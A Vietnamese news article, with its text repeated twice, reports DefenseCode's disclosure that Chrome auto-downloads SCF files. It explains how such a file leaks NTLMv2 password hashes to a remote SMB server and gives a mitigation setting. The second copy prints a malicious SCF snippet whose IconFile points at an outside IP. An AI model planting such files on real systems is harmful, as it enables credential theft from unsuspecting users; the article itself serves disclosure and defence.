Nhóm nghiên cứu của DefenseCode vừa công bố một lỗ hổng của trình duyệt Google Chrome chạy trên bất kỳ hệ điều hành Windows nào.
Theo NexttoWindows, đây là cách lỗ hổng này bị khai thác:
Đầu tiên, đánh lừa người dùng Chrome tải về một tập tin Windows Explorer Shell Command File (có đuôi là *.scf) có thể đánh lừa người dùng đăng nhập vào một máy chủ SMB từ xa - nó sẽ hiển thị lên một hộp thoại yêu cầu người dùng nhập vào username và password đăng nhập Windows, mục đích là sẽ đánh cắp thông tin mã băm mật khẩu của phương thức chứng thực Microsoft LAN Manager (NTLMv2) trên máy tính cùa nạn nhân.
Mã băm có thể bị "bẻ khóa" ngoại tuyến (offline) hoặc được dùng để giả mạo nạn nhân trên một dịch vụ nào đó chấp nhận cùng phương thức chứng thực NTLMv2.
Windows Explorer Shell Command File hay gọi tắt là SCF (có phần đuôi là *.scf) là một kiểu tập tin được biết đến từ thời Windows 98, chủ yếu được dùng làm lối tắt cho Show Desktop - nhằm hiển thị màn hình desktop. Về cơ bản, nó là một tập tin văn bản với 2 phần, một phần xác định lệnh nào sẽ được thực thi, và một phần chỉ ra vị trí của tập tin biểu tượng, chẳng hạn như:
Và nó có thể dễ dàng bị thay đổi để đánh lừa Windows thực hiện chứng thực đăng nhập vào một máy chủ SMB nào đó từ xa, như bên dưới:
Yêu cầu này được thực thi ngay khi thư mục chứa dữ liệu tải về được mở ra trong Windows File Explorer. Bạn sẽ không cần phải kích hoạt hay double click để mở tập tin tải về bởi vì Windows File Explorer sẽ tự động thử tìm tập tin "icon" trong file SCF ở trên.
Vậy thì lỗi của Google Chrome ở chỗ nào?
Theo mặc định, trình duyệt Chrome sẽ tự động tải về tập tin mà nó cho là an toàn mà không hỏi người dùng nơi lưu trữ tập tin này. Và Chrome nghĩ rằng các tập tin SCF là an toàn mà không cảnh báo như đối với những tập tin có phần mở rộng là LNK (*.lnk). Như trong bài đăng của DefenseCode có đoạn:
Về quan điểm bảo mật, tính năng này (tự động lưu tập tin mà không hỏi người dùng của Chrome) không phải là một hành vi tốt, bởi vì thông thường bất kỳ nội dung nguy hại nào cũng cần người dùng mở lên thì nó mới có khả năng gây nguy hại. Vậy thì điều gì sẽ xảy ra nếu như một tập tin được tải về lại không cần tới sự tương tác của người dùng thì đã thực hiện những hành vi nguy hại? Có loại tập tin nào có thể làm được điều đó không?
Những trình duyệt đối thủ như IE, Microsoft Edge, Firefox, và Safari không cho phép tự động tải về các tập tin SCF.
Trong khi Google làm việc để tìm ra giải pháp sửa lỗi này, DefenseCode đề nghị người dùng nên vô hiệu hóa tính năng tự động tải về trên Google Chrome để tự đảm bảo an toàn cho bản thân mình. Cách làm như sau:
Trên trình duyệt Google Chrome, click vào biểu tượng dấu 3 chấm ở góc trên bên phải màn hình. Trong menu hiện ra, click vào Cài đặt (Settings).
Trong trang hiện ra, bạn kéo xuống phần Tải về (Downloads) và đánh dấu chọn ở mục "Hỏi vị trí lưu từng tệp trước khi tải xuống" (Ask where to save each file before downloading).
Theo NexttoWindows, đây là cách lỗ hổng này bị khai thác:
Đầu tiên, đánh lừa người dùng Chrome tải về một tập tin Windows Explorer Shell Command File (có đuôi là *.scf) có thể đánh lừa người dùng đăng nhập vào một máy chủ SMB từ xa - nó sẽ hiển thị lên một hộp thoại yêu cầu người dùng nhập vào username và password đăng nhập Windows, mục đích là sẽ đánh cắp thông tin mã băm mật khẩu của phương thức chứng thực Microsoft LAN Manager (NTLMv2) trên máy tính cùa nạn nhân.
Mã băm có thể bị "bẻ khóa" ngoại tuyến (offline) hoặc được dùng để giả mạo nạn nhân trên một dịch vụ nào đó chấp nhận cùng phương thức chứng thực NTLMv2.
Windows Explorer Shell Command File hay gọi tắt là SCF (có phần đuôi là *.scf) là một kiểu tập tin được biết đến từ thời Windows 98, chủ yếu được dùng làm lối tắt cho Show Desktop - nhằm hiển thị màn hình desktop. Về cơ bản, nó là một tập tin văn bản với 2 phần, một phần xác định lệnh nào sẽ được thực thi, và một phần chỉ ra vị trí của tập tin biểu tượng, chẳng hạn như:
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
Và nó có thể dễ dàng bị thay đổi để đánh lừa Windows thực hiện chứng thực đăng nhập vào một máy chủ SMB nào đó từ xa, như bên dưới:
[Shell]
IconFile=\\170.170.170.170\icon
Yêu cầu này được thực thi ngay khi thư mục chứa dữ liệu tải về được mở ra trong Windows File Explorer. Bạn sẽ không cần phải kích hoạt hay double click để mở tập tin tải về bởi vì Windows File Explorer sẽ tự động thử tìm tập tin "icon" trong file SCF ở trên.
Vậy thì lỗi của Google Chrome ở chỗ nào?
Theo mặc định, trình duyệt Chrome sẽ tự động tải về tập tin mà nó cho là an toàn mà không hỏi người dùng nơi lưu trữ tập tin này. Và Chrome nghĩ rằng các tập tin SCF là an toàn mà không cảnh báo như đối với những tập tin có phần mở rộng là LNK (*.lnk). Như trong bài đăng của DefenseCode có đoạn:
Về quan điểm bảo mật, tính năng này (tự động lưu tập tin mà không hỏi người dùng của Chrome) không phải là một hành vi tốt, bởi vì thông thường bất kỳ nội dung nguy hại nào cũng cần người dùng mở lên thì nó mới có khả năng gây nguy hại. Vậy thì điều gì sẽ xảy ra nếu như một tập tin được tải về lại không cần tới sự tương tác của người dùng thì đã thực hiện những hành vi nguy hại? Có loại tập tin nào có thể làm được điều đó không?
Những trình duyệt đối thủ như IE, Microsoft Edge, Firefox, và Safari không cho phép tự động tải về các tập tin SCF.
Trong khi Google làm việc để tìm ra giải pháp sửa lỗi này, DefenseCode đề nghị người dùng nên vô hiệu hóa tính năng tự động tải về trên Google Chrome để tự đảm bảo an toàn cho bản thân mình. Cách làm như sau:
Trên trình duyệt Google Chrome, click vào biểu tượng dấu 3 chấm ở góc trên bên phải màn hình. Trong menu hiện ra, click vào Cài đặt (Settings).
Trong trang hiện ra, bạn kéo xuống phần Tải về (Downloads) và đánh dấu chọn ở mục "Hỏi vị trí lưu từng tệp trước khi tải xuống" (Ask where to save each file before downloading).